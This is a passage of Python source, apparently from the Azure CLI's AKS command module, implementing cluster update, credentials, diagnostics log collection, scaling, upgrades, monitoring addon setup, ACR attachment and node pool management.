instance.identity_profile["kubeletidentity"].client_id else: client_id = instance.service_principal_profile.client_id if not client_id: raise CLIError('Cannot get the AKS cluster\'s service principal.') if attach_acr: _ensure_aks_acr(cmd.cli_ctx, client_id=client_id, acr_name_or_id=attach_acr, subscription_id=subscription_id) if detach_acr: _ensure_aks_acr(cmd.cli_ctx, client_id=client_id, acr_name_or_id=detach_acr, subscription_id=subscription_id, detach=True) # empty string is valid as it disables ip whitelisting if api_server_authorized_ip_ranges is not None: instance.api_server_access_profile = \ _populate_api_server_access_profile(api_server_authorized_ip_ranges, instance) if update_aad_profile: if instance.aad_profile is None or not instance.aad_profile.managed: raise CLIError('Cannot specify "--aad-tenant-id/--aad-admin-group-object-ids"' ' if managed aad not is enabled') if aad_tenant_id is not None: instance.aad_profile.tenant_id = aad_tenant_id if aad_admin_group_object_ids is not None: instance.aad_profile.admin_group_object_ids = _parse_comma_separated_list(aad_admin_group_object_ids) return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def aks_show(cmd, client, resource_group_name, name): # pylint: disable=unused-argument mc = client.get(resource_group_name, name) return _remove_nulls([mc])[0] def _remove_nulls(managed_clusters): """ Remove some often-empty fields from a list of ManagedClusters, so the JSON representation doesn't contain distracting null fields. This works around a quirk of the SDK for python behavior. These fields are not sent by the server, but get recreated by the CLI's own "to_dict" serialization. """ attrs = ['tags'] ap_attrs = ['os_disk_size_gb', 'vnet_subnet_id'] sp_attrs = ['secret'] for managed_cluster in managed_clusters: for attr in attrs: if getattr(managed_cluster, attr, None) is None: delattr(managed_cluster, attr) if managed_cluster.agent_pool_profiles is not None: for ap_profile in managed_cluster.agent_pool_profiles: for attr in ap_attrs: if getattr(ap_profile, attr, None) is None: delattr(ap_profile, attr) for attr in sp_attrs: if getattr(managed_cluster.service_principal_profile, attr, None) is None: delattr(managed_cluster.service_principal_profile, attr) return managed_clusters def aks_get_credentials(cmd, # pylint: disable=unused-argument client, resource_group_name, name, admin=False, user='clusterUser', path=os.path.join(os.path.expanduser('~'), '.kube', 'config'), overwrite_existing=False, context_name=None): credentialResults = None if admin: credentialResults = client.list_cluster_admin_credentials(resource_group_name, name) else: if user.lower() == 'clusteruser': credentialResults = client.list_cluster_user_credentials(resource_group_name, name) elif user.lower() == 'clustermonitoringuser': credentialResults = client.list_cluster_monitoring_user_credentials(resource_group_name, name) else: raise CLIError("The user is invalid.") if not credentialResults: raise CLIError("No Kubernetes credentials found.") try: kubeconfig = credentialResults.kubeconfigs[0].value.decode(encoding='UTF-8') _print_or_merge_credentials(path, kubeconfig, overwrite_existing, context_name) except (IndexError, ValueError): raise CLIError("Fail to find kubeconfig file.") ADDONS = { 'http_application_routing': 'httpApplicationRouting', 'monitoring': 'omsagent', 'virtual-node': 'aciConnector', 'azure-policy': 'azurepolicy', 'kube-dashboard': 'kubeDashboard', 'ingress-appgw': CONST_INGRESS_APPGW_ADDON_NAME } # pylint: disable=line-too-long def aks_kollect(cmd, # pylint: disable=too-many-statements,too-many-locals client, resource_group_name, name, storage_account=None, sas_token=None, container_logs=None, kube_objects=None, node_logs=None): colorama.init() mc = client.get(resource_group_name, name) if not which('kubectl'): raise CLIError('Can not find kubectl executable in PATH') storage_account_id = None if storage_account is None: print("No storage account specified. Try getting storage account from diagnostic settings") storage_account_id = get_storage_account_from_diag_settings(cmd.cli_ctx, resource_group_name, name) if storage_account_id is None: raise CLIError("A storage account must be specified, since there isn't one in the diagnostic settings.") from msrestazure.tools import is_valid_resource_id, parse_resource_id, resource_id if storage_account_id is None: if not is_valid_resource_id(storage_account): storage_account_id = resource_id( subscription=get_subscription_id(cmd.cli_ctx), resource_group=resource_group_name, namespace='Microsoft.Storage', type='storageAccounts', name=storage_account ) else: storage_account_id = storage_account if is_valid_resource_id(storage_account_id): try: parsed_storage_account = parse_resource_id(storage_account_id) except CloudError as ex: raise CLIError(ex.message) else: raise CLIError("Invalid storage account id %s" % storage_account_id) storage_account_name = parsed_storage_account['name'] readonly_sas_token = None if sas_token is None: storage_client = cf_storage(cmd.cli_ctx, parsed_storage_account['subscription']) storage_account_keys = storage_client.storage_accounts.list_keys(parsed_storage_account['resource_group'], storage_account_name) kwargs = { 'account_name': storage_account_name, 'account_key': storage_account_keys.keys[0].value } cloud_storage_client = cloud_storage_account_service_factory(cmd.cli_ctx, kwargs) sas_token = cloud_storage_client.generate_shared_access_signature( 'b', 'sco', 'rwdlacup', datetime.datetime.utcnow() + datetime.timedelta(days=1)) readonly_sas_token = cloud_storage_client.generate_shared_access_signature( 'b', 'sco', 'rl', datetime.datetime.utcnow() + datetime.timedelta(days=1)) readonly_sas_token = readonly_sas_token.strip('?') from knack.prompting import prompt_y_n print() print('This will deploy a daemon set to your cluster to collect logs and diagnostic information and ' f'save them to the storage account ' f'{colorama.Style.BRIGHT}{colorama.Fore.GREEN}{storage_account_name}{colorama.Style.RESET_ALL} as ' f'outlined in {format_hyperlink("http://aka.ms/AKSPeriscope")}.') print() print('If you share access to that storage account to Azure support, you consent to the terms outlined' f' in {format_hyperlink("http://aka.ms/DiagConsent")}.') print() if not prompt_y_n('Do you confirm?', default="n"): return print() print("Getting credentials for cluster %s " % name) _, temp_kubeconfig_path = tempfile.mkstemp() aks_get_credentials(cmd, client, resource_group_name, name, admin=True, path=temp_kubeconfig_path) print() print("Starts collecting diag info for cluster %s " % name) sas_token = sas_token.strip('?') deployment_yaml = urlopen( "https://raw.githubusercontent.com/Azure/aks-periscope/v0.2/deployment/aks-periscope.yaml").read().decode() deployment_yaml = deployment_yaml.replace("# <accountName, base64 encoded>", (base64.b64encode(bytes(storage_account_name, 'ascii'))).decode('ascii')) deployment_yaml = deployment_yaml.replace("# <saskey, base64 encoded>", (base64.b64encode(bytes("?" + sas_token, 'ascii'))).decode('ascii')) yaml_lines = deployment_yaml.splitlines() for index, line in enumerate(yaml_lines): if "DIAGNOSTIC_CONTAINERLOGS_LIST" in line and container_logs is not None: yaml_lines[index] = line + ' ' + container_logs if "DIAGNOSTIC_KUBEOBJECTS_LIST" in line and kube_objects is not None: yaml_lines[index] = line + ' ' + kube_objects if "DIAGNOSTIC_NODELOGS_LIST" in line and node_logs is not None: yaml_lines[index] = line + ' ' + node_logs deployment_yaml = '\n'.join(yaml_lines) fd, temp_yaml_path = tempfile.mkstemp() temp_yaml_file = os.fdopen(fd, 'w+t') try: temp_yaml_file.write(deployment_yaml) temp_yaml_file.flush() temp_yaml_file.close() try: print() print("Cleaning up aks-periscope resources if existing") subprocess.call(["kubectl", "--kubeconfig", temp_kubeconfig_path, "delete", "serviceaccount,configmap,daemonset,secret", "--all", "-n", "aks-periscope", "--ignore-not-found"], stderr=subprocess.STDOUT) subprocess.call(["kubectl", "--kubeconfig", temp_kubeconfig_path, "delete", "ClusterRoleBinding", "aks-periscope-role-binding", "--ignore-not-found"], stderr=subprocess.STDOUT) subprocess.call(["kubectl", "--kubeconfig", temp_kubeconfig_path, "delete", "ClusterRoleBinding", "aks-periscope-role-binding-view", "--ignore-not-found"], stderr=subprocess.STDOUT) subprocess.call(["kubectl", "--kubeconfig", temp_kubeconfig_path, "delete", "ClusterRole", "aks-periscope-role", "--ignore-not-found"], stderr=subprocess.STDOUT) subprocess.call(["kubectl", "--kubeconfig", temp_kubeconfig_path, "delete", "--all", "apd", "-n", "aks-periscope", "--ignore-not-found"], stderr=subprocess.DEVNULL) subprocess.call(["kubectl", "--kubeconfig", temp_kubeconfig_path, "delete", "CustomResourceDefinition", "diagnostics.aks-periscope.azure.github.com", "--ignore-not-found"], stderr=subprocess.STDOUT) print() print("Deploying aks-periscope") subprocess.check_output(["kubectl", "--kubeconfig", temp_kubeconfig_path, "apply", "-f", temp_yaml_path, "-n", "aks-periscope"], stderr=subprocess.STDOUT) except subprocess.CalledProcessError as err: raise CLIError(err.output) finally: os.remove(temp_yaml_path) print() normalized_fqdn = mc.fqdn.replace('.', '-') token_in_storage_account_url = readonly_sas_token if readonly_sas_token is not None else sas_token log_storage_account_url = f"https://{storage_account_name}.blob.core.windows.net/" \ f"{_trim_fqdn_name_containing_hcp(normalized_fqdn)}?{token_in_storage_account_url}" print(f'{colorama.Fore.GREEN}Your logs are being uploaded to storage account {format_bright(storage_account_name)}') print() print(f'You can download Azure Stroage Explorer here ' f'{format_hyperlink("https://azure.microsoft.com/en-us/features/storage-explorer/")}' f' to check the logs by adding the storage account using the following URL:') print(f'{format_hyperlink(log_storage_account_url)}') print() if not prompt_y_n('Do you want to see analysis results now?', default="n"): print(f"You can run 'az aks kanalyze -g {resource_group_name} -n {name}' " f"anytime to check the analysis results.") else: display_diagnostics_report(temp_kubeconfig_path) def aks_kanalyze(cmd, client, resource_group_name, name): colorama.init() client.get(resource_group_name, name) _, temp_kubeconfig_path = tempfile.mkstemp() aks_get_credentials(cmd, client, resource_group_name, name, admin=True, path=temp_kubeconfig_path) display_diagnostics_report(temp_kubeconfig_path) def aks_scale(cmd, # pylint: disable=unused-argument client, resource_group_name, name, node_count, nodepool_name="", no_wait=False): instance = client.get(resource_group_name, name) if len(instance.agent_pool_profiles) > 1 and nodepool_name == "": raise CLIError('There are more than one node pool in the cluster. ' 'Please specify nodepool name or use az aks nodepool command to scale node pool') if node_count == 0: raise CLIError("Can't scale down to 0 nodes.") for agent_profile in instance.agent_pool_profiles: if agent_profile.name == nodepool_name or (nodepool_name == "" and len(instance.agent_pool_profiles) == 1): agent_profile.count = int(node_count) # pylint: disable=no-member # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) raise CLIError('The nodepool "{}" was not found.'.format(nodepool_name)) def aks_upgrade(cmd, # pylint: disable=unused-argument client, resource_group_name, name, kubernetes_version, control_plane_only=False, no_wait=False, **kwargs): # pylint: disable=unused-argument instance = client.get(resource_group_name, name) if instance.kubernetes_version == kubernetes_version: if instance.provisioning_state == "Succeeded": logger.warning("The cluster is already on version %s and is not in a failed state. No operations " "will occur when upgrading to the same version if the cluster is not in a failed state.", instance.kubernetes_version) elif instance.provisioning_state == "Failed": logger.warning("Cluster currently in failed state. Proceeding with upgrade to existing version %s to " "attempt resolution of failed cluster state.", instance.kubernetes_version) from knack.prompting import prompt_y_n upgrade_all = False instance.kubernetes_version = kubernetes_version vmas_cluster = False for agent_profile in instance.agent_pool_profiles: if agent_profile.type.lower() == "availabilityset": vmas_cluster = True break # for legacy clusters, we always upgrade node pools with CCP. if instance.max_agent_pools < 8 or vmas_cluster: if control_plane_only: msg = ("Legacy clusters do not support control plane only upgrade. All node pools will be " "upgraded to {} as well. Continue?").format(instance.kubernetes_version) if not prompt_y_n(msg, default="n"): return None upgrade_all = True else: if not control_plane_only: msg = ("Since control-plane-only argument is not specified, this will upgrade the control plane " "AND all nodepools to version {}. Continue?").format(instance.kubernetes_version) if not prompt_y_n(msg, default="n"): return None upgrade_all = True else: msg = ("Since control-plane-only argument is specified, this will upgrade only the control plane to {}. " "Node pool will not change. Continue?").format(instance.kubernetes_version) if not prompt_y_n(msg, default="n"): return None if upgrade_all: for agent_profile in instance.agent_pool_profiles: agent_profile.orchestrator_version = kubernetes_version # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def _handle_addons_args(cmd, addons_str, subscription_id, resource_group_name, addon_profiles=None, workspace_resource_id=None, appgw_name=None, appgw_subnet_prefix=None, appgw_id=None, appgw_subnet_id=None, appgw_shared=False, appgw_watch_namespace=None): if not addon_profiles: addon_profiles = {} addons = addons_str.split(',') if addons_str else [] if 'http_application_routing' in addons: addon_profiles['httpApplicationRouting'] = ManagedClusterAddonProfile(enabled=True) addons.remove('http_application_routing') if 'kube-dashboard' in addons: addon_profiles['kubeDashboard'] = ManagedClusterAddonProfile(enabled=True) addons.remove('kube-dashboard') # TODO: can we help the user find a workspace resource ID? if 'monitoring' in addons: if not workspace_resource_id: # use default workspace if exists else create default workspace workspace_resource_id = _ensure_default_log_analytics_workspace_for_monitoring( cmd, subscription_id, resource_group_name) workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') addon_profiles['omsagent'] = ManagedClusterAddonProfile( enabled=True, config={'logAnalyticsWorkspaceResourceID': workspace_resource_id}) addons.remove('monitoring') # error out if '--enable-addons=monitoring' isn't set but workspace_resource_id is elif workspace_resource_id: raise CLIError('"--workspace-resource-id" requires "--enable-addons monitoring".') if 'azure-policy' in addons: addon_profiles['azurepolicy'] = ManagedClusterAddonProfile(enabled=True) addons.remove('azure-policy') if 'ingress-appgw' in addons: addon_profile = ManagedClusterAddonProfile(enabled=True, config={}) if appgw_name is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_NAME] = appgw_name if appgw_subnet_prefix is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_PREFIX] = appgw_subnet_prefix if appgw_id is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID] = appgw_id if appgw_subnet_id is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_ID] = appgw_subnet_id if appgw_shared: addon_profile.config[CONST_INGRESS_APPGW_SHARED] = "true" if appgw_watch_namespace is not None: addon_profile.config[CONST_INGRESS_APPGW_WATCH_NAMESPACE] = appgw_watch_namespace addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME] = addon_profile addons.remove('ingress-appgw') # error out if any (unrecognized) addons remain if addons: raise CLIError('"{}" {} not recognized by the --enable-addons argument.'.format( ",".join(addons), "are" if len(addons) > 1 else "is")) return addon_profiles def _ensure_default_log_analytics_workspace_for_monitoring(cmd, subscription_id, resource_group_name): # mapping for azure public cloud # log analytics workspaces cannot be created in WCUS region due to capacity limits # so mapped to EUS per discussion with log analytics team AzureCloudLocationToOmsRegionCodeMap = { "australiasoutheast": "ASE", "australiaeast": "EAU", "australiacentral": "CAU", "canadacentral": "CCA", "centralindia": "CIN", "centralus": "CUS", "eastasia": "EA", "eastus": "EUS", "eastus2": "EUS2", "eastus2euap": "EAP", "francecentral": "PAR", "japaneast": "EJP", "koreacentral": "SE", "northeurope": "NEU", "southcentralus": "SCUS", "southeastasia": "SEA", "uksouth": "SUK", "usgovvirginia": "USGV", "westcentralus": "EUS", "westeurope": "WEU", "westus": "WUS", "westus2": "WUS2" } AzureCloudRegionToOmsRegionMap = { "australiacentral": "australiacentral", "australiacentral2": "australiacentral", "australiaeast": "australiaeast", "australiasoutheast": "australiasoutheast", "brazilsouth": "southcentralus", "canadacentral": "canadacentral", "canadaeast": "canadacentral", "centralus": "centralus", "centralindia": "centralindia", "eastasia": "eastasia", "eastus": "eastus", "eastus2": "eastus2", "francecentral": "francecentral", "francesouth": "francecentral", "japaneast": "japaneast", "japanwest": "japaneast", "koreacentral": "koreacentral", "koreasouth": "koreacentral", "northcentralus": "eastus", "northeurope": "northeurope", "southafricanorth": "westeurope", "southafricawest": "westeurope", "southcentralus": "southcentralus", "southeastasia": "southeastasia", "southindia": "centralindia", "uksouth": "uksouth", "ukwest": "uksouth", "westcentralus": "eastus", "westeurope": "westeurope", "westindia": "centralindia", "westus": "westus", "westus2": "westus2" } # mapping for azure china cloud # log analytics only support China East2 region AzureChinaLocationToOmsRegionCodeMap = { "chinaeast": "EAST2", "chinaeast2": "EAST2", "chinanorth": "EAST2", "chinanorth2": "EAST2" } AzureChinaRegionToOmsRegionMap = { "chinaeast": "chinaeast2", "chinaeast2": "chinaeast2", "chinanorth": "chinaeast2", "chinanorth2": "chinaeast2" } # mapping for azure us governmner cloud AzureFairfaxLocationToOmsRegionCodeMap = { "usgovvirginia": "USGV" } AzureFairfaxRegionToOmsRegionMap = { "usgovvirginia": "usgovvirginia" } rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) cloud_name = cmd.cli_ctx.cloud.name if cloud_name.lower() == 'azurecloud': workspace_region = AzureCloudRegionToOmsRegionMap.get(rg_location, "eastus") workspace_region_code = AzureCloudLocationToOmsRegionCodeMap.get(workspace_region, "EUS") elif cloud_name.lower() == 'azurechinacloud': workspace_region = AzureChinaRegionToOmsRegionMap.get(rg_location, "chinaeast2") workspace_region_code = AzureChinaLocationToOmsRegionCodeMap.get(workspace_region, "EAST2") elif cloud_name.lower() == 'azureusgovernment': workspace_region = AzureFairfaxRegionToOmsRegionMap.get(rg_location, "usgovvirginia") workspace_region_code = AzureFairfaxLocationToOmsRegionCodeMap.get(workspace_region, "USGV") else: logger.error("AKS Monitoring addon not supported in cloud : %s", cloud_name) default_workspace_resource_group = 'DefaultResourceGroup-' + workspace_region_code default_workspace_name = 'DefaultWorkspace-{0}-{1}'.format(subscription_id, workspace_region_code) default_workspace_resource_id = '/subscriptions/{0}/resourceGroups/{1}/providers/Microsoft.OperationalInsights' \ '/workspaces/{2}'.format(subscription_id, default_workspace_resource_group, default_workspace_name) resource_groups = cf_resource_groups(cmd.cli_ctx, subscription_id) resources = cf_resources(cmd.cli_ctx, subscription_id) # check if default RG exists if resource_groups.check_existence(default_workspace_resource_group): try: resource = resources.get_by_id(default_workspace_resource_id, '2015-11-01-preview') return resource.id except CloudError as ex: if ex.status_code != 404: raise ex else: resource_groups.create_or_update(default_workspace_resource_group, {'location': workspace_region}) default_workspace_params = { 'location': workspace_region, 'properties': { 'sku': { 'name': 'standalone' } } } async_poller = resources.create_or_update_by_id(default_workspace_resource_id, '2015-11-01-preview', default_workspace_params) ws_resource_id = '' while True: result = async_poller.result(15) if async_poller.done(): ws_resource_id = result.id break return ws_resource_id def _ensure_container_insights_for_monitoring(cmd, addon): if not addon.enabled: return None # workaround for this addon key which has been seen lowercased in the wild if 'loganalyticsworkspaceresourceid' in addon.config: addon.config['logAnalyticsWorkspaceResourceID'] = addon.config.pop('loganalyticsworkspaceresourceid') workspace_resource_id = addon.config['logAnalyticsWorkspaceResourceID'].strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') # extract subscription ID and resource group from workspace_resource_id URL try: subscription_id = workspace_resource_id.split('/')[2] resource_group = workspace_resource_id.split('/')[4] except IndexError: raise CLIError('Could not locate resource group in workspace-resource-id URL.') # region of workspace can be different from region of RG so find the location of the workspace_resource_id resources = cf_resources(cmd.cli_ctx, subscription_id) try: resource = resources.get_by_id(workspace_resource_id, '2015-11-01-preview') location = resource.location except CloudError as ex: raise ex unix_time_in_millis = int( (datetime.datetime.utcnow() - datetime.datetime.utcfromtimestamp(0)).total_seconds() * 1000.0) solution_deployment_name = 'ContainerInsights-{}'.format(unix_time_in_millis) # pylint: disable=line-too-long template = { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } }, "workspaceRegion": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics workspace region" } }, "solutionDeploymentName": { "type": "string", "metadata": { "description": "Name of the solution deployment" } } }, "resources": [ { "type": "Microsoft.Resources/deployments", "name": "[parameters('solutionDeploymentName')]", "apiVersion": "2017-05-10", "subscriptionId": "[split(parameters('workspaceResourceId'),'/')[2]]", "resourceGroup": "[split(parameters('workspaceResourceId'),'/')[4]]", "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "apiVersion": "2015-11-01-preview", "type": "Microsoft.OperationsManagement/solutions", "location": "[parameters('workspaceRegion')]", "name": "[Concat('ContainerInsights', '(', split(parameters('workspaceResourceId'),'/')[8], ')')]", "properties": { "workspaceResourceId": "[parameters('workspaceResourceId')]" }, "plan": { "name": "[Concat('ContainerInsights', '(', split(parameters('workspaceResourceId'),'/')[8], ')')]", "product": "[Concat('OMSGallery/', 'ContainerInsights')]", "promotionCode": "", "publisher": "Microsoft" } } ] }, "parameters": {} } } ] } params = { "workspaceResourceId": { "value": workspace_resource_id }, "workspaceRegion": { "value": location }, "solutionDeploymentName": { "value": solution_deployment_name } } deployment_name = 'aks-monitoring-{}'.format(unix_time_in_millis) # publish the Container Insights solution to the Log Analytics workspace return _invoke_deployment(cmd.cli_ctx, resource_group, deployment_name, template, params, validate=False, no_wait=False, subscription_id=subscription_id) def _ensure_aks_service_principal(cli_ctx, service_principal=None, client_secret=None, subscription_id=None, dns_name_prefix=None, location=None, name=None): file_name_aks = 'aksServicePrincipal.json' # TODO: This really needs to be unit tested. rbac_client = get_graph_rbac_management_client(cli_ctx) if not service_principal: # --service-principal not specified, try to load it from local disk principal_obj = load_acs_service_principal(subscription_id, file_name=file_name_aks) if principal_obj: service_principal = principal_obj.get('service_principal') client_secret = principal_obj.get('client_secret') else: # Nothing to load, make one. if not client_secret: client_secret = _create_client_secret() salt = binascii.b2a_hex(os.urandom(3)).decode('utf-8') url = 'http://{}.{}.{}.cloudapp.azure.com'.format(salt, dns_name_prefix, location) service_principal = _build_service_principal(rbac_client, cli_ctx, name, url, client_secret) if not service_principal: raise CLIError('Could not create a service principal with the right permissions. ' 'Are you an Owner on this project?') logger.info('Created a service principal: %s', service_principal) # We don't need to add role assignment for this created SPN else: # --service-principal specfied, validate --client-secret was too if not client_secret: raise CLIError('--client-secret is required if --service-principal is specified') store_acs_service_principal(subscription_id, client_secret, service_principal, file_name=file_name_aks) return load_acs_service_principal(subscription_id, file_name=file_name_aks) def _get_rg_location(ctx, resource_group_name, subscription_id=None): groups = cf_resource_groups(ctx, subscription_id=subscription_id) # Just do the get, we don't need the result, it will error out if the group doesn't exist. rg = groups.get(resource_group_name) return rg.location def _check_cluster_autoscaler_flag(enable_cluster_autoscaler, min_count, max_count, node_count, agent_pool_profile): if enable_cluster_autoscaler: if min_count is None or max_count is None: raise CLIError('Please specifying both min-count and max-count when --enable-cluster-autoscaler enabled') if int(min_count) > int(max_count): raise CLIError('value of min-count should be less than or equal to value of max-count') if int(node_count) < int(min_count) or int(node_count) > int(max_count): raise CLIError('node-count is not in the range of min-count and max-count') agent_pool_profile.min_count = int(min_count) agent_pool_profile.max_count = int(max_count) agent_pool_profile.enable_auto_scaling = True else: if min_count is not None or max_count is not None: raise CLIError('min-count and max-count are required for --enable-cluster-autoscaler, please use the flag') def _create_client_secret(): # Add a special character to satsify AAD SP secret requirements special_char = '$' client_secret = binascii.b2a_hex(os.urandom(10)).decode('utf-8') + special_char return client_secret def _ensure_aks_acr(cli_ctx, client_id, acr_name_or_id, subscription_id, # pylint: disable=unused-argument detach=False): from msrestazure.tools import is_valid_resource_id, parse_resource_id # Check if the ACR exists by resource ID. if is_valid_resource_id(acr_name_or_id): try: parsed_registry = parse_resource_id(acr_name_or_id) acr_client = cf_container_registry_service(cli_ctx, subscription_id=parsed_registry['subscription']) registry = acr_client.registries.get(parsed_registry['resource_group'], parsed_registry['name']) except CloudError as ex: raise CLIError(ex.message) _ensure_aks_acr_role_assignment(cli_ctx, client_id, registry.id, detach) return # Check if the ACR exists by name accross all resource groups. registry_name = acr_name_or_id registry_resource = 'Microsoft.ContainerRegistry/registries' try: registry = get_resource_by_name(cli_ctx, registry_name, registry_resource) except CloudError as ex: if 'was not found' in ex.message: raise CLIError("ACR {} not found. Have you provided the right ACR name?".format(registry_name)) raise CLIError(ex.message) _ensure_aks_acr_role_assignment(cli_ctx, client_id, registry.id, detach) return def _ensure_aks_acr_role_assignment(cli_ctx, client_id, registry_id, detach=False): if detach: if not _delete_role_assignments(cli_ctx, 'acrpull', client_id, scope=registry_id): raise CLIError('Could not delete role assignments for ACR. ' 'Are you an Owner on this subscription?') return if not _add_role_assignment(cli_ctx, 'acrpull', client_id, scope=registry_id): raise CLIError('Could not create a role assignment for ACR. ' 'Are you an Owner on this subscription?') return def aks_agentpool_show(cmd, # pylint: disable=unused-argument client, resource_group_name, cluster_name, nodepool_name): instance = client.get(resource_group_name, cluster_name, nodepool_name) return instance def aks_agentpool_list(cmd, # pylint: disable=unused-argument client, resource_group_name, cluster_name): return client.list(resource_group_name, cluster_name) def aks_agentpool_add(cmd, # pylint: disable=unused-argument,too-many-locals client, resource_group_name, cluster_name, nodepool_name, tags=None, kubernetes_version=None, node_zones=None, enable_node_public_ip=False, node_vm_size=None, node_osdisk_size=0, node_count=3, vnet_subnet_id=None, max_pods=0, os_type="Linux", min_count=None, max_count=None, enable_cluster_autoscaler=False, node_taints=None, priority=CONST_SCALE_SET_PRIORITY_REGULAR, eviction_policy=CONST_SPOT_EVICTION_POLICY_DELETE, spot_max_price=float('nan'), labels=None, mode="User", no_wait=False): instances = client.list(resource_group_name, cluster_name) for agentpool_profile in instances: if agentpool_profile.name == nodepool_name: raise CLIError("Node pool {} already exists, please try a different name, " "use 'aks nodepool list' to get current list of node pool".format(nodepool_name)) taints_array = [] if node_taints is not None: for taint in node_taints.split(','): try: taint = taint.strip() taints_array.append(taint) except ValueError: raise CLIError('Taint does not match allowed values. Expect value such as "special=true:NoSchedule".') if node_vm_size is None: if os_type == "Windows": node_vm_size = "Standard_D2s_v3" else: node_vm_size = "Standard_DS2_v2" agent_pool = AgentPool( name=nodepool_name, tags=tags, node_labels=labels, count=int(node_count), vm_size=node_vm_size, os_type=os_type, storage_profile=ContainerServiceStorageProfileTypes.managed_disks, vnet_subnet_id=vnet_subnet_id, agent_pool_type="VirtualMachineScaleSets", max_pods=int(max_pods) if max_pods else None, orchestrator_version=kubernetes_version, availability_zones=node_zones, enable_node_public_ip=enable_node_public_ip, node_taints=taints_array, scale_set_priority=priority, mode=mode ) if priority == CONST_SCALE_SET_PRIORITY_SPOT: agent_pool.scale_set_eviction_policy = eviction_policy if isnan(spot_max_price): spot_max_price = -1 agent_pool.spot_max_price = spot_max_price _check_cluster_autoscaler_flag(enable_cluster_autoscaler, min_count, max_count, node_count, agent_pool) if node_osdisk_size: agent_pool.os_disk_size_gb = int(node_osdisk_size) return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, agent_pool) def aks_agentpool_scale(cmd, # pylint: disable=unused-argument client, resource_group_name, cluster_name, nodepool_name, node_count=3, no_wait=False): instance = client.get(resource_group_name, cluster_name, nodepool_name) new_node_count = int(node_count) if new_node_count == 0: raise CLIError("Can't scale down to 0 nodes.") if new_node_count == instance.count: raise CLIError("The new node count is the same as the current node count.") instance.count = new_node_count # pylint: disable=no-member return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, instance) def aks_agentpool_upgrade(cmd, # pylint: disable=unused-argument client, resource_group_name, cluster_name, kubernetes_version, nodepool_name, no_wait=False): instance = client.get(resource_group_name, cluster_name, nodepool_name) instance.orchestrator_version = kubernetes_version return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, instance) def aks_agentpool_update(cmd, # pylint: disable=unused-argument client, resource_group_name, cluster_name, nodepool_name, tags=None, enable_cluster_autoscaler=False, disable_cluster_autoscaler=False, update_cluster_autoscaler=False, min_count=None, max_count=None, mode=None, no_wait=False): update_autoscaler = enable_cluster_autoscaler + disable_cluster_autoscaler + update_cluster_autoscaler if (update_autoscaler != 1 and not tags and not mode): raise CLIError('Please specify one or more of "--enable-cluster-autoscaler" or ' '"--disable-cluster-autoscaler" or ' '"--update-cluster-autoscaler" or ' '"--tags" or "--mode"') instance = client.get(resource_group_name, cluster_name, nodepool_name) node_count = instance.count if min_count is None or max_count is None: if enable_cluster_autoscaler or update_cluster_autoscaler: raise CLIError('Please specifying both min-count and max-count when --enable-cluster-autoscaler or ' '--update-cluster-autoscaler set.') if min_count is not None and max_count is not None: if int(min_count) > int(max_count): raise CLIError('value of min-count should be less than or equal to value of max-count.') if int(node_count) < int(min_count) or int(node_count) > int(max_count): raise CLIError("current node count '{}' is not in the range of min-count and max-count.".format(node_count)) if enable_cluster_autoscaler: if instance.enable_auto_scaling: logger.warning('Autoscaler is already enabled for this node pool.\n' 'Please run "az aks nodepool update --update-cluster-autoscaler" ' 'if you want to update min-count or max-count.') return None instance.min_count = int(min_count) instance.max_count = int(max_count) instance.enable_auto_scaling = True if update_cluster_autoscaler: if not instance.enable_auto_scaling: raise CLIError('Autoscaler is not enabled for this node pool.\n' 'Run "az aks nodepool update --enable-cluster-autoscaler" ' 'to enable cluster with min-count and max-count.') instance.min_count = int(min_count) instance.max_count = int(max_count) if disable_cluster_autoscaler: if not instance.enable_auto_scaling: logger.warning('Autoscaler is already disabled for this node pool.') return None instance.enable_auto_scaling = False instance.min_count = None instance.max_count = None instance.tags = tags if mode is not None: instance.mode = mode return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, instance) def aks_agentpool_delete(cmd, # pylint: disable=unused-argument client, resource_group_name, cluster_name, nodepool_name, no_wait=False): agentpool_exists = False instances = client.list(resource_group_name, cluster_name) for agentpool_profile in instances: if agentpool_profile.name.lower() == nodepool_name.lower(): agentpool_exists = True break if not agentpool_exists: raise CLIError("Node pool {} doesnt exist, " "use 'aks nodepool list' to get current node pool list".format(nodepool_name)) return sdk_no_wait(no_wait, client.delete, resource_group_name, cluster_name, nodepool_name) def aks_disable_addons(cmd, client, resource_group_name, name, addons, no_wait=False): instance = client.get(resource_group_name, name) subscription_id = get_subscription_id(cmd.cli_ctx) instance = _update_addons( cmd, instance, subscription_id, resource_group_name, name, addons, enable=False, no_wait=no_wait ) # send the managed cluster representation to update the addon profiles return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def aks_enable_addons(cmd, client, resource_group_name, name, 